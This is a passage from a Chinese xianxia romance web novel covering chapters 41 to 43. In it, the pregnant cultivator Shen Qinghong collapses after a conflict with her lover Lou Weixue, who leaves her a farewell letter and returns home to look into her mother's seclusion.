“我担心你。” 娄危雪打?了记直球,那如水般清澈的眼眸正凝望着?眼前的人。 “就?算清鸿仙尊你不让我去,我也?会跟过去的。” 边上玲溪见两人僵持不下,凑过去主动道:“清鸿仙尊,我们一起去吧,你受着?伤如果路上遇到什么事?情,也?不安全。” 娄危雪眨巴了下眼睛,大着?胆子伸手抓住沈清鸿的袖子,摇晃了两下。 “沈清鸿,我们一起吧。” 看着?被抓住的袖摆,几息后沈清鸿挥手将袖摆从娄危雪手中抽出,一言不发钻回马车内。 这是答应的意思啦,娄危雪唇角微微扬起。 “玲溪,我们走。” “好。” 话音落下娄危雪重新回到马车内,沈清鸿闭眼坐在里侧,娄危雪眉眼弯起。 马车内的空间很大,她哪里都不去,反而走到沈清鸿身边挨着?人坐下,粘着?人坐在角落里。 沈清鸿未动,娄危雪笑了,一本?满足。 外面玲溪飞到空中,调转马车朝着?天一宗的方向飞去。 娄危雪的身体?便?顺着?转弯的力道,向一侧倾去,肩头与沈清鸿触碰在一起。 两人本?就?坐得近,这下贴的更近,她能闻到沈清鸿身上传来的冷冽香味,如高?山雪莲幽幽绽放。 她侧首偷瞄了一眼,沈清鸿闭着?眼,睫毛漆黑又长,肌肤白皙细腻,鼻梁高?挺,薄唇正抿着?,颜色浅淡。 啊,清鸿仙尊真是又强又好看,如果能够一辈子都在清鸿身边就?好了。 见沈清鸿没什么反应,娄危雪看的更明目张胆了。 她转过头,只觉得怎么都看不够。 沈清鸿感觉到全身正被一种视线锁住,并未做声?,不知过了多久,只觉肩头一沉。 睁开眼,她微微侧首,娄危雪呼吸平稳,容颜柔软,脑袋正歪歪靠在她的肩上,已经睡着?了。 沈清鸿抿了抿唇,没有把人叫醒,反而还放软了身子,让人靠的更舒服。 在飞马的加持下,一行人很快到了天一宗。 玲溪把马车停在天一宗的山门门下,她撩开车帘,就?见到娄危雪靠在沈清鸿的肩头睡的正香。 见此,玲溪微微一愣,怕吵醒娄危雪,她伸手向沈清鸿比划着?。 清鸿仙尊,我们到了。 沈清鸿微微颔首,看清楚了玲溪的意思。 她小心翼翼用手托住娄危雪的脑袋,将人从肩头挪开。 走出车厢后,沈清鸿才探身进去,把人从马车上抱下。 娄危雪睡的很沉,小脸红扑扑的,对此毫无?所觉,甚至还将自己的脑袋朝沈清鸿的脖颈前窝了窝。 温热的气息喷吐在沈清鸿的肌肤上,沈清鸿步子一顿,面上却不露声?色,只默默把盖在娄危雪身上的绒毯裹的更紧了。 第42章 守山门的弟子见到沈清鸿,连忙迎上去。 “大师姐回来?啦。” 这弟子嗓门有些大,睡梦中的娄危雪嘤咛一声,眉心不自觉蹙起。 沈清鸿见状,双眉也跟着皱了起来?。 她扫了那弟子一眼,示意那人闭嘴。 弟子立刻噤声,朝沈清鸿的怀中偷偷看去。 听说?大师姐这次离开宗门是为了退婚的,怎么过了那么久,婚没退掉,回来?后还带了个人?难道这位就是大师姐的未婚妻? 到底是什么样的小妖精,才能把他?们素来?不苟言笑的大师姐给迷成这副模样。 注意到弟子的小动作,沈清鸿有些不悦,将娄危雪往里面藏了藏,没让人看清楚娄危雪的长相。 弟子:…… 行吧,不给看就不给看吧。 他?侧开,为沈清鸿和玲溪让路。 沈清鸿抱着娄危雪,一路走?上去,这期间遇到不少宗门内的人。 她们见到沈清鸿纷纷想要借着上前打招呼的缘由,看清沈清鸿怀中的人,结果全部被沈清鸿用?冻人的视线硬生生给逼回去了。 等沈清鸿把睡熟的娄危雪放到自己床上的时候,消息已经传遍了。 几乎所有人都知道她们的大师姐抱着未婚妻回来?了,还宝贝得紧,连看都不给看一眼,甚至连李寻真都从弟子口中听说?了。 议事堂中,李寻真面色古怪。 “清鸿,你把娄危雪那丫头也带回来?了?” “是。” 这倒不是什么大事,只不过想到自己这个师侄能够这样对?一个人,李寻真便有些欣慰,同时还有些隐隐地担忧。 正想着,李寻真听到沈清鸿的询问:“师叔叫我回来?是为了仙门大比的事情吧。” “没错,仙门大比已经快开始了,如果想要为师兄报仇,就必须在仙门大比上夺得魁首,取得话语权,只有这样才能号召其他?门派一起围剿合欢宗,杀掉花醉月。” 仙门大比每五十年?举办一次,许多宗门都会参加,而夺得魁首的门派会成为仙门之首。 天一宗已经连续多次获得第?一,在以往拥有绝对?的话语权,不过随着新?的仙门大比即将召开,人心又?浮动起来?。 如果想重新?掌握话语权,需要维持住现在的地位。 上一次仙门大比,在师兄的带领下?取得了胜利,而今就看清鸿了。 李寻真拍拍沈清鸿的肩膀,语重心长地说?道:“清鸿啊,你的境界,年?轻一辈中无人可与你比肩,这次仙门大比就看你的了。” 若是以往,沈清鸿自是一口应下?,不过现在腹中怀了孩子,她的境界会因为孩子受影响。 仙门中人才辈出?,她并?没有十拿九稳的把握。 见沈清鸿迟迟没有应下?,李寻真有些奇怪。 “怎么了?可是有什么顾虑?” 沈清鸿摇摇头,“没事,我会努力的。” 无论如何,这都是给师尊报仇的好机会,她会好好把握住的。 李寻真的目光在沈清鸿面上圈巡了几圈,见她气色不是很好,有些担心。 “可是身体哪里不舒服?” “没有。” 沈清鸿不想叫李寻真担心,不过话音方落,就觉得胸口一阵翻涌,没忍住干呕出?声。 以往就算是受了伤,沈清鸿依旧是面不改色的,李寻真何曾见过沈清鸿这般失态,顿时面色大变。 “还说?没事!”他?担忧不已,指指厅内的椅凳,“你先坐下?,我叫人过来?给你看看。” “师叔,别去!” 沈清鸿连忙制止,如果叫人过来?查探她的身体情况,那她怀孕的事情就会被发现,到时候消息就瞒不住了。 眼下?正是紧要关头,知道这件事的人越少越好。 今日的沈清鸿实在是过于反常,李寻真的眉头紧紧皱在一起。 “清鸿,你到底怎么了?” “我……”沈清鸿垂下?眸子,眼底情绪翻涌,有些拿不定主意,要不要把怀孕的事情告诉李寻真。 见她如此,李寻真更?着急了。 清鸿这样子一看就是瞒了他?什么事情,而且这件事情会对?仙门大比造成影响,很有可能还是关于沈清鸿身体的。 “现在这种时候,如果有事你必须和我说?,不可隐瞒,只有这样我才好做应对?,你明白吗?” 李寻真是沈清鸿信任的人,听他?这样说?,沈清鸿只得坦白。 她面上有一瞬的难为情,“师叔,我怀孕了。” 李寻真有瞬间的茫然,反应过来沈清鸿在说什么之后,面色骤然沉下?。 “糊涂!” 他?面有愠色,似乎正强忍着心中的怒火。 “娄危雪是云文君的女儿,如今你师尊的死尚且未确定是否和云文君有关,你怎可,怎可……” 说?到此处,李寻真说?不下?去,他?重重挥了下?袖子。 上一辈的人做的事情虽说?与小辈无关,但怎么可能会没有影响。 他?并?不反对?沈清鸿与娄危雪在一起,不过他?希望的是,沈清鸿能够在弄清楚一切之后再做决定,而不是像现在这般,所有的事情都没解决,便稀里糊涂地怀了孕。 更?何况仙门大比近在眼前,怀孕定然会影响沈清鸿的实力。 李寻真眉头紧锁,“仙门大比的事情我会再想想办法,否则错过这次,就要再等五十年?。” 近些年?合欢宗的势力发展得很快,如果再等上五十年?,到时候想要报仇只会更?难。 沈清鸿自责不已,她明明知道娄危雪就是云文君的孩子,可她还是…… 胸口传来?一阵钻心的疼痛,喉间涌上一股腥甜。 她忍下?痛呼,看着李寻真。 “孩子的事情是个意外,我会流掉她,不会影响仙门大比。” 看着沈清鸿微微苍白的脸色,李寻真摇头叹了口气,转身离开。 在他?走?后,沈清鸿并?未回去,反而转身去了宗门祠堂。 这里摆放着历代天一宗掌门的灵牌,沈清鸿师尊的灵牌也在其中。 她撩起衣袍,一言不发,跪在灵牌面前。 是她的意志不够坚定,她明明知道云文君说?不定与师尊的死有关,而娄危雪又?是云文君的女儿,却还是怀了娄危雪的孩子。 如今眼下?局面的形成与她有关,大仇未报,她却耽于情爱,她愧对?师尊。 祠堂寒凉,没有窗户,唯一的灯光来?源是两侧点着的蜡烛。 沈清鸿没有用?修为护体,冰冷的寒气顺着膝盖蔓延上她的身体,让她清醒许多,也让她更?加坚定了决心。 她会为宗门拿下?仙门大比的魁首,她要拿到话语权,号召其他?的门派,一起攻打合欢宗。 届时,她要让花醉月血债血偿! 烛光幽幽照耀在沈清鸿的脸上,一双眸子灼灼发亮,眼底流淌的是名为复仇的情绪。 与此同时,娄危雪睡醒,缓缓睁开眼睛,看到陌生的房间,她愣了一下?。 想到睡着前发生的事,心里有所猜测,她大概是已经到天一宗了。 娄危雪从床上下?来?,屋内无人,沈清鸿不在,玲溪也不知道去了哪里。 推开房门走?出?去,娄危雪发现她现在住的这里,是在一处山峰附近,一眼望去只有绿色,并?未有多出?来?的房屋。 娄危雪找不到人,没办法只能沿着山路往下?,走?了好一段路之后,才见到前方有一个穿着弟子袍的人。 见状,娄危雪连忙喊道:“前面的道友,请等等。” 施梦被叫住,转身看到娄危雪从山上下?来?,意识到这是被沈清鸿带回来?的人,她同样好奇能被沈清鸿重视的会是什么样的人。 她停下?,不着痕迹地打量着,发现娄危雪才金丹初期,除了样貌,也不过如此。 此时娄危雪已经走?到近前,她朝着施梦微微一笑,询问道:“这位道友,请问你知道清鸿仙尊去哪里了吗?” 守在议事堂门口的弟子见到李寻真出?来?面色不好看时,就意识到了不对?劲,紧接着就传出?了沈清鸿去了祠堂的风声。 一些消息灵通的,都在猜测沈清鸿是不是和李寻真闹了什么矛盾,被罚跪了,施梦自然也听说?了。 见娄危雪是来?问沈清鸿的,施梦冷冷一笑。 “沈师姐离开宗门那么久,心都变野了,回来?第?一天便顶撞尊长,被罚去跪祠堂了。” 原本只是猜测得没影子的事情,被她说?得跟沈清鸿犯错了一般。 娄危雪被误导,沈清鸿那样一个人,怎么可能会无缘无故顶撞长辈。 顾不得多想,问了祠堂的方向之后,娄危雪匆匆跑了过去,被守祠堂的弟子给拦了下?来?。 “祠堂重地,外人不得随意进入。” 娄危雪满目焦急,一把抓住门外守着的弟子胳膊,“清鸿仙尊是不是在里面?” “你找大师姐干什么?” 看来?沈清鸿真的在里面,娄危雪更?着急了。 “我有事情要找清鸿仙尊,必须要进去。” 弟子皱眉挡在娄危雪面前,“不行。” 一想到沈清鸿身体没?*?有恢复,怀着孕还要罚跪,娄危雪就镇定不下?去。 眼见说?不通,娄危雪直接朝着弟子动手。 “得罪了!” 弟子知道娄危雪是被沈清鸿带上山来?的,对?娄危雪的防备不重,没想到娄危雪会出?手。 他?下?意识地闪避,身后的门被空出?来?,措手不及之下?直接被娄危雪闯了进去。 刚一进去就看到沈清鸿背脊挺得笔直,就那么跪在地上,膝盖底下?连个垫着的东西都没有。 听到动静,沈清鸿转过身来?,露出?的一张脸白得可怕。 娄危雪眉头蹙起,心疼得紧,她上前准备把人从地上拉起时,身后守祠堂门的弟子闯了进来?。 见到沈清鸿,那弟子先对?沈清鸿行了个礼。 “大师姐。” 打过招呼之后,弟子才看向娄危雪,一脸黑沉。 “跟我离开,这里不是你一个外人可以进来?的。” 娄危雪倔强地不肯动,“沈清鸿,我有话要和你说?。” 只一下?沈清鸿就明白到底发生了什么事情,她朝那弟子道:“你先出?去。” 弟子有些犹豫,“可是……” “你先出?去,如果出?了什么事情,我自会承担。” 沈清鸿在天一宗地位很高,素来?又?颇有威望。 弟子见她坚持,无奈只能退下?离开。 祠堂内只剩下?娄危雪与沈清鸿两个人,她见沈清鸿还跪在地上,走?过去拉着人的胳膊,想要将人拉起来?。 “你还怀着孕,这般下?去身体怎么受得了?” 沈清鸿一把甩开娄危雪的手,面色冰冷如高山寒雪。 “我有错,这是我的责罚。” 娄危雪实在是想不到什么样的事情,能够让沈清鸿在这里受惩罚。 她站在沈清鸿的身侧,焦急不已,“到底发生什么了什么事情,你为什么会受罚!你师叔知不知道你怀了……” 话到这里,娄危雪突然反应过来?。 “是因为孩子的事情?” “与你无关。” 沈清鸿目视着师尊的灵牌,背脊挺得笔直,连一个眼神?都没有给娄危雪。 没有否认那便是肯定的意思,娄危雪内心涌起一股深深的挫败,她又?连累清鸿仙尊了。 看着眼前的身影,娄危雪突然发现这段日子沈清鸿瘦了许多,下?颚线单薄许多,纤细的腰肢仅用?一只手就能握住。 原本就宽大的白袍,穿在她的身上宽阔又?寂寥,似乎只要来?上一阵风,就能立刻把人带走?。 娄危雪眼底划过一抹沉痛,“孩子的事情我也有责任,我要和你一起承担。” “走?,我们去找你师叔,和他?把事情说?清楚。” 话音方落,娄危雪再次去抓沈清鸿的胳膊想要将人扶起来?,结果再次被甩开。 这次沈清鸿用?的力道有些大,将娄危雪甩得一个踉跄,差点没站稳。 “清鸿仙尊。” 娄危雪有些手足无措,以往不管沈清鸿有多么的生气,都没这样对?过她。 沈清鸿终于将目光从师尊的灵位上挪开,她的眼眶不知道什么时候红了一圈,眼底泛着淡淡的血丝,表情也不复先前的平静。 看着面前茫然无措的面容,沈清鸿胸口传来?一阵窒息般的疼痛,喉间泛起腥甜。 “娄危雪,你为什么要带我回去!为什么要与我签订契约!为什么是云文君的女儿!” “如果我们一开始从未相见,之后的一切都不会发生。” “我不会怀孕,我的修为境界不会因为孩子受影响,我可以按照计划的那般做我要做的事情!而不是像现在,计划被打乱,事情超出?我的控制!” 生生诘问,如泣如诉。 娄危雪的眼圈跟着红了,在知道沈清鸿的身份后,她有努力去避免与沈清鸿接触,她想过与沈清鸿断绝关系。 身体里的明明是她的心,她却控制不住,无法约束。 那样的清鸿仙尊,叫她如何不心动。 虽然沈清鸿从来?不会说?她,但是娄危雪心里明白,她给沈清鸿带来?了很多的麻烦。 其实她本意并?不是那样的,她也想帮助沈清鸿的。 如果孩子的存在让沈清鸿痛苦,她会选择尊重沈清鸿的意见。 “你若是不想要这个孩子,那就给这个孩子流掉,我不会有意见的。” 听到这句话,沈清鸿喉间的血气再也压抑不住,吐出?一口鲜血,直接晕了过去。 “沈清鸿!” 娄危雪满眼慌乱,她立刻将人扶住,拦腰抱起,冲出?祠堂。 守在祠堂门口的人看到沈清鸿唇边的一抹鲜红,目眦欲裂。 “你对?大师姐做了什么!” 娄危雪不认识天一宗的人,唯一知道的能够依靠的只有李寻真。 “李寻真!李寻真道长在哪里!” 现在救师姐比较重要,弟子咬牙狠狠地瞪了娄危雪一眼,转身在前方带路。 “跟我来?。” 两人一路奔到李寻真居住的地方,李寻真不知道沈清鸿走?的时候还好好的,怎么突然就变成这样。 “先把人放到床上。” 娄危雪照办,脸上是掩不住的焦急与担忧。 “前辈,你快看看清鸿仙尊这是怎么了。” 李寻真立刻分出?一抹灵识朝沈清鸿的体内探去,发现沈清鸿经脉灵力波动翻涌的厉害,内丹不稳上面隐约有几道不明显的裂纹。 他?面色大骇,连忙运转内丹,灵力更?是毫无保留地朝着沈清鸿体内涌去,帮沈清鸿平复着体内的情况。 不知道过了多久,李寻真才将手收回,他?脚下?虚软,竟然差点摔倒。 娄危雪忙地扶住他?,“前辈,你没事吧?” “没事,清鸿现在的情况暂时稳定下?来?了。” 娄危雪敏锐地抓住李寻真话中的两个字眼,“暂时是什么意思,难道说?清鸿仙尊的身体以后还会出?现今天这样的情况?” 李寻真没有立刻回答娄危雪,他?朝同娄危雪一起过来?的弟子看了一眼。 “你先出?去。” “是。” 弟子同样担心沈清鸿,但是李寻真的话他?不能不听。 等人走?后,李寻真才对?娄危雪解释。 “清鸿她修炼的是无情道,最?忌讳动情,当初去云霄门退婚,也是因为无情道。” 沈清鸿修炼无情道的事情娄危雪听宗门内的弟子听说?过,可是记得在记载中,久远之前明明有人修的是无情道,娶了老婆,但还是飞升成仙的例子。 人非木石,怎么能够不动情。 况且那人尚且没事,沈清鸿为什么会出?事。 这么想着,娄危雪便这么问了。 李寻真闻言深深叹了口气,“大道万千变化无穷,每个人对?无情道的理?解都不一样。” “清鸿这孩子素来?聪颖,在修行一事上又?颇有天分,我本以为她会走?出?属于她自己的无情道,可是看眼下?的情况,她怕是有什么事情想不透,以至于道心不稳。” 道心不稳的后果娄危雪十分清楚,轻则修炼停滞不前,重则…… 身死道消。 这个结果叫娄危雪冒出?一身冷汗,“就没有什么解决的办法吗?” “眼下?最?好的办法就是让清鸿离开叫她道心不稳的源头,或许这样不看不想,会让她暂时稳定下?来?。” 道心不稳的源头吗? 清鸿仙尊是在与自己的对?话中吐血的,自己就是那个源头。 这个结论让娄危雪高兴又?痛苦,高兴于沈清鸿对?她的感情,痛苦于沈清鸿变成这样是因为她。 道心不稳不一定会死,可是娄危雪并?不敢赌。 她苦笑,一直以来?她都在牵连清鸿仙尊,看来?还是离开得好。 做了决定后,娄危雪看向李寻真。 “前辈,我想借用?一下?纸笔。” 李寻真不知道娄危雪这个时候要纸笔干什么,但还是答应了。 “请便。” 娄危雪来?到李寻真的书桌前,取出?纸张在桌面上铺平,又?拿毛笔蘸了笔墨。 她回忆着与沈清鸿相遇以来?的点点滴滴,提笔写下?一句句绝情的话语。 或许当时在云霄门的时候,她应该更?绝情一点,不然清鸿仙尊不会像现在这般痛苦。 既然一切的不好由她开始,那就由她结束吧。 写完信件,娄危雪把笔放下?,一个小小的清风术,吹干纸面的所有墨迹。 “前辈,我会离开这里,这个麻烦你转交给清鸿仙尊。”她把纸张叠好递给李寻真,看着床上还昏迷着的人,抬眸恳求,“此外,我还想单独和清鸿仙尊待一会儿,可以吗?” 李寻真把东西收下?,眼神?复杂,他?张口想要说?些什么,最?后又?什么都没说?,转身离开。 屋中安静,沈清鸿面白入纸,静静地躺在床上对?周遭发生的事情一概不知。 娄危雪在床边坐下?,目光一寸寸地从沈清鸿的面上滑过,充满留恋。 她马上就要走?了,下?次再见应该就是在仙门大比上了。 没了她在身边拖累,相信那个时候,沈清鸿应该已经恢复身体,重新?变回那个高高在上身不染尘的清鸿仙尊了吧。 到了那时,她和清鸿仙尊就真的没任何关系了。 想到这里,娄危雪眼眶红了一圈,心里仿佛裂开了个口子,流出?汩汩的鲜血。 这么多天的相处,她早就已经习惯了沈清鸿在她身边,现在该学会放手了。 怕继续待下?去会舍不得离开,娄危雪艰难地把视线收了回来?。 “清鸿仙尊,我走?了。” 俯身在沈清鸿的额上轻轻落下?一吻,娄危雪转身离开。 在她不知道的时候,一滴泪珠从她面上滴下?,落在沈清鸿的眼角。 第43章 沈清鸿醒来的时候,已是第二天。 她下?床走?出房间,门外?守着的弟子见?到?她醒了,满脸欣喜。 这次沈清鸿出事可把宗门上下?的弟子们给吓坏了,虽然她们平常有些怕这个大师姐,但是大多都很尊敬沈清鸿,不希望沈清鸿出事。 “大师姐,你?终于醒了。” 沈清鸿面色淡淡的,朝弟子微微点了下?头。 她问:“我昏睡了多久。” “已经一天一夜了。” 小弟子回答着,然后道:“掌门如?果知道你?醒了一定会很开心,我这就去掌门给叫来。” 话?音落下?小弟子便快速跑开,沈清鸿被留在原地,没有办法只能重新?回房等着。 李寻真很快便到?了,素来打理得一丝不苟的胡子乱了不少,可见?来得很急。 见?到?沈清鸿,他探出灵力检查了一遍沈清鸿的身体情况。 发现?原本有着几道裂纹的内丹已经稳定下?来,经脉中的灵力也未暴动?,正在缓慢地修补着缺损的地方。 见?此,李寻真才暂时松了口气?。 他叮嘱着:“眼下?情况算是稳定了,不过清鸿,你?修的是无情道,切忌情绪波动?不可起伏过大。” “我知道了。” 沈清鸿心不在焉地应下?,从醒来到?现?在已经过了一会儿了,可是她一直没有见?到?那个人。 想到?昏迷前那人的话?,沈清鸿面色稍沉。 她问:“师叔,娄危雪呢?” 李寻真没想到?沈清鸿刚起来就询问娄危雪的事情,考虑到?沈清鸿的身体,李寻真有些担心。 但是这种事情也不好瞒下?去,他只能如?实道:“她走?了。” 沈清鸿瞬间满面寒霜,她还有事情没有和娄危雪说清楚,谁准许她走?的! “我要去找她!” 她立刻离开凳子站起身,情绪的起伏,让她筋脉微微凝滞,起身的瞬间身形有些摇晃。 刚刚稳定下?的身体,哪里能经得住这般的情绪起伏。 李寻真大惊,呵斥提醒道:“清鸿!忘记我刚刚叮嘱你?什么了吗!” “我……” 沈清鸿紧皱着眉头,薄唇紧抿,浑身都在散发着冷气?。 见?她如?此,李寻真眉头微微皱起,他从怀中拿出一封信纸递给沈清鸿。 “这是她走?之?前让我交给你?的,你?先看看。” 闻言沈清鸿赶忙接过,打开查看。 一列列看下?去,沈清鸿的脸色越来越难看,体内灵力翻滚动?荡,胸口血气?翻涌,当她看到?最后一句话?的时候,满眼不可置信。 她紧紧捏着信纸,手指因为用力而颤抖。 几秒后,终究是没能忍住,噗的一声吐出一口鲜血。 血迹染湿了信纸,斑驳了上面的字迹。 “清鸿!” 李寻真大惊失色,立刻动?手帮沈清鸿稳定身体情况,却被沈清鸿抬手拦住。 她面白如?纸,唇色因为鲜血红得刺眼。 “不必。” 用手背擦去唇边挂着的鲜血,沈清鸿的眸子亮得惊人,似有火焰灼灼燃烧。 “我要去找她。” 李寻真胸口上下?起伏不断,又生?气?又担心。 “这个时候你?不在宗门好好养身体,还去找她干什么!不要命了吗!” 原本修炼无情道就最忌讳动?情,更何况还像沈清鸿这般起伏不定,短短几天,就两次吐血。 她现?在的情况很是不妙,如?果任由她这么过去找娄危雪,指不定会出什么事情。 而且娄危雪的娘亲是云文君,同师兄的死还有关系,这里面的关系太?过复杂。 多方面考虑,李寻真一点都不想叫沈清鸿去找人。 “娄危雪既然已经离开,你?就当作没有这个人,调整好心态把她忘了吧,至于你?腹中的孩子,我会找人帮你?流掉,之?后你?就好好待在宗门休养身体,不要离开。” “不行?。” 沈清鸿一口拒绝,想到?娄危雪在信上留的言,一道红光从沈清鸿眼底一闪而过。 凭什么她娄危雪说断就断,说不要就不要了。 这么多日来的相处不是假的,沈清鸿不相信娄危雪竟能如?此绝情! “我要去找她问清楚,我要她当面亲口和我说,要解除婚约,要我打掉这个孩子!” “执念已起,如?果你?再这般执迷不悟,会有入魔的风险,若是再严重些,你?可能……”说到?这里李寻真重重叹了口气?,“清鸿,你?素来聪颖,怎的在这件事情上,这般的看不开!” 沈清鸿很清楚李寻真没有说完的话?是什么,她紧抿着唇一言不发。 这么一副打定主意的模样叫李寻真眉心直跳,心里的怒火上升了一大截,恼怒沈清鸿的不争气?,又担心真让沈清鸿过去,她的身体会撑不住。 不行?,她得想个办法打消沈清鸿的念头才行?。 如今唯一能够阻止清鸿的,只有那件事情了。 对不起了,师兄。 李寻真咬牙狠心道:“我的话?你?可以不听,但是你?有没有想过,你?去找娄危雪把你?师尊放在什么地方!” “仙门大比马上就要开始,你?不在宗门休养好身体,如?何能够带领天一宗取得胜利,不获得话?语权,如?何号召其他门派围攻合欢宗!” “清鸿,你?难道忘记你?师尊了吗?你?究竟还想不想为他报仇了!” 沈清鸿的面色白了几分,那是养她教?她的师尊,她怎么可能忘记。 可是…… 她想去找娄危雪问个清楚,但是理智又告诉她应该在宗门留下?。 几种念头在沈清鸿脑中挣扎不休,她闭上眼睛,努力让自己的心平静下?来。 李寻真没再说话?,屋内静悄悄的,沈清鸿看不见?也听不到?,似乎所有的外?物都在离她远去。 久久之?后,她才重新?将眼睛睁开,混沌魔怔般的眼神?终于清明几分。 “我会调整心态,留在宗门好好养身体,但是腹中的孩子没有听到?娄危雪亲口说出来,我不会流掉。” 这是沈清鸿的妥协,也是她的底线。 一直提心吊胆的李寻真,听见?沈清鸿愿意留下?来,勉强松了口气?。 腹中的孩子会影响沈清鸿的发挥,不过眼下?这情况,沈清鸿已经容不下?更多的刺激了。 李寻真同样退让一步,“我之?后会去与药房的长老商量,将你?的身体调理好。” “你?腹中的是你?的孩子,既然你?不愿意流掉,那我尊重你?的想法。” 两人就此说定,沈清鸿转身离开。 在她走?后,施梦来找李寻真,两弯黛眉微微蹙起,语带忧虑。 “掌门,我听说师姐她的身体出了问题,现?在怎么样了?有没有事情?” 不想让底下?的弟子担忧,李寻真劝慰道:“不必担心,我后会找人帮清鸿调理好身体的。” 施梦眼底划过一道暗色,看样子沈清鸿的身体确实出了问题,否则掌门也不会这般了。 她这般想着,面上的样子做了个十足,一副苦恼又担心的模样。 “可是仙门大比就快开始了,师姐的身体出现?问题不知道什么时候能够调理好,这该怎么办?” 此话?一出,李寻真的眉头不自觉地皱在一起。 见?他这般,施梦心中有戏。 在仙门大比中,每个门派元婴以上,与元婴以下?能参加比赛的人数是有限制的。 沈清鸿光芒太?盛,宗门里所有人的眼中只能看到?沈清鸿。 不管她有多么的努力,始终落沈清鸿一步,大家都总会在提起她之?后再提一次沈清鸿。 施梦不甘心,她天赋不差,如?今已是出窍。 如?果不是沈清鸿转修了无情道,修为境界怎么可能比她还快。 这次沈清鸿受伤正好是个好机会,她会在仙门大比上帮助宗门夺魁,让所有人都看到?她。 她故意沉思片刻,然后像是想到?了办法一样,目光变得坚定。 “掌门,我有个办法,现?在师姐身体状况不佳,不易出战,我愿意代替师姐参加仙门大比,虽然我的修为境界比不上师姐,但是我也想要为宗门尽一份力。” 李寻真也很担心,清鸿确实是年轻一辈中功力修为最高的,可是她现?在道心不稳,又怀着孕,到?时候参加大比,不知道会不会出事。 施梦的境界也算不错,虽不如?清鸿那般天赋超群,但也有一争魁首的能力。 这次仙门大比对于天一宗来说十分重要,他不知道如?果再等上十年,还能不能够如?愿报仇。 李寻真有些犹豫,沉思片刻后才开口。 “你?有心了,不过这次比赛对你?师姐来说很重要,还是让她亲自参加吧。” 他是用为师兄报仇的缘由,才将清鸿给留下?的,如?果把清鸿从仙门大比上换下?,不知道清鸿会不会有情绪动?荡,影响身体。 “好,我知道了。” 施梦应下?,面上不动?声色,但是袖子底下?的手指已经紧紧攥在一起。 真不愧是沈清鸿的好师叔,就算沈清鸿身体状况不好,还依然选择相信沈清鸿,不愿意把这个机会给她。 既然如?此,那到?时候可不要怪她。 与此同时,沈清鸿回到?自己居住的山上。 她当初为了修炼无情道,特?地把自己的住所迁到?这处偏僻的地方。 宗门里的弟子大多住在主峰,此处人烟稀少,空有景色,无端升起一股萧瑟之?感。 沈清鸿回到?屋中,屋内的东西还保持着沈清鸿离开时候的样子,只有床榻上有人睡过的痕迹,有些凌乱。 她在床上坐下?,手指从床铺上滑过。 经过一天一夜的时间,床上早就没了残留的温度,冰冷冷的。 那冰冷的温度顺着沈清鸿的指尖,似乎一直蔓延到?了她的心里。 她指尖微蜷,想到?之?前睡在上面的人。 娄危雪…… 此刻,被沈清鸿念叨的人正在云霄门的后山。 云文君闭关的地方就在这里,门口守了不少的人,就是为了避免有人闯入扰了云文君的修炼。 娄危雪在附近徘徊,虽然她很想偷偷的摸进去,但是这里守卫的弟子境界都不低,不是她想摸进去就能进去的。 犹豫片刻,娄危雪直接走?了过去。 守在门口的两位弟子见?到?她微微颔首,打了个招呼。 “少门主。” “嗯。”娄危雪应了一声,板着个脸,装作一副若无其事的样子,想要直接进去,但是却被拦下?了。 “少门主,宗主有令,任何人不得进去打扰夫人闭关修炼。” 娄危雪睁大眼睛,不可置信道:“这里面的是我娘诶!难道我想见?我娘都不可以吗?” “这是宗主的命令,我们只是听令行?事。” “如?果我非要进去呢!” 弟子闻言面露难色,“少门主,不要为难我们,这是宗主的命令。” 娄危雪也不想为难她们,可是她心里有点在意花醉月说的事情。 她想了想,退一步说道:“要不这样,你?不让我进去,那你?能不能进去找一下?我娘,如?果我娘同意我进去,你?就让我进去,如?何?” “这……” “只要我娘答应,我进去之?后,我爹不会罚你?们的。” 弟子闻言有些犹豫,正思考间,突然看到?有个人走?了过来。 看清来人后,弟子连忙收敛了神?色。 “宗主。” 恰在此时,娄青涯也已经看到?弟子身边站着的娄危雪。 “九寒?” 熟悉的声音让娄危雪身体微微一僵,她转过身来,看到?娄青涯,弱弱地唤了一声。 “爹。” 娄青涯眉头皱起,“你?怎么会来这里?” 娄危雪心底有一瞬间的慌乱,怕露出马脚,她连忙低下?头,掩盖住了眼底的情绪。 “我……我只是有些想娘亲了。” 娄青涯没有说话?,见?娄危雪垂着头,看上去可怜兮兮的,主动?伸手摸了摸娄危雪的脑袋。 “我也很想你?娘亲,但是你?娘亲在闭关修炼,不能随便打扰。” “可是娘亲已经闭关很久了。” 她小声嘟囔着,语气?又放得很低,听起来带着小小的埋怨。 娄青涯微微一笑,“不要耍小孩子脾气?,你?娘亲闭关也是为了稳住身体的情况,你?不想你?娘亲的身体好起来吗?” “我当然想要娘亲的身体好起来,只是我真的很想娘亲。”娄危雪说着,大着胆子瞄了娄青涯一眼,“爹,你?不想娘亲吗?” 娄青涯将手收回,露出一抹苦笑。 “怎么可能不想,可是为了你?娘的身体,我们要学会忍耐。” 他拍拍娄危雪的肩膀,语重心长,“好了,走?吧,别让你?娘亲为你?分神?。” 娄危雪无奈,看样子她今日是进不去了。 “我知道了。” 乖乖应了一声之?后,娄危雪只得离开。 没走?多远,娄危雪忍不住回头看了一眼。 娄青涯目光苍茫悠远,他就站在门口远远望着,并不进去,身姿挺拔,一身绿袍将他衬得如?竹如?玉。 原身这个便宜爹这看上去挺正人君子的,云文君真的是被他给囚禁起来的吗? 抱着一腔的怀疑,娄危雪回到?自己房间中。 先前因为记挂着云文君的事情,都在想着要怎么进去见?文君了,现?在闲下?来之?后,脑中的思绪开始乱飞,控制不住地开始想起沈清鸿。 娄危雪丧丧地趴在桌子上,也不知道清鸿仙尊现?在怎么样了,有没有醒来看到?她留下?的那封信。 她在信中写得那般绝情,清鸿仙尊那么一个高傲的人,看到?之?后应该就对她死心了吧。 娄危雪的胸口闷闷的,像是被压在厚厚的被子中,挣扎不得,逃脱不得。 之?前因为顾虑清鸿仙尊的身体加之?又在路上,所以没有流掉孩子。 可是现?在清鸿仙尊在宗门里,她是宗门的大师姐,李寻真又那般的重视她,所有的资源定然会向着她倾斜,而李寻真同样不喜欢那个孩子,说不定现?在孩子已经被流掉了吧。 那样一个小生?命,明明是从爱中孕育出来的,却落了这么个下?场。 对于孩子,娄危雪很愧疚。 她很喜欢她与沈清鸿的孩子,可是她没有办法,也没有立场。 因为她是花醉月与云文君的女儿,沈清鸿杀师仇人的女儿。 若被沈清鸿知道,恐怕会痛苦的吧。 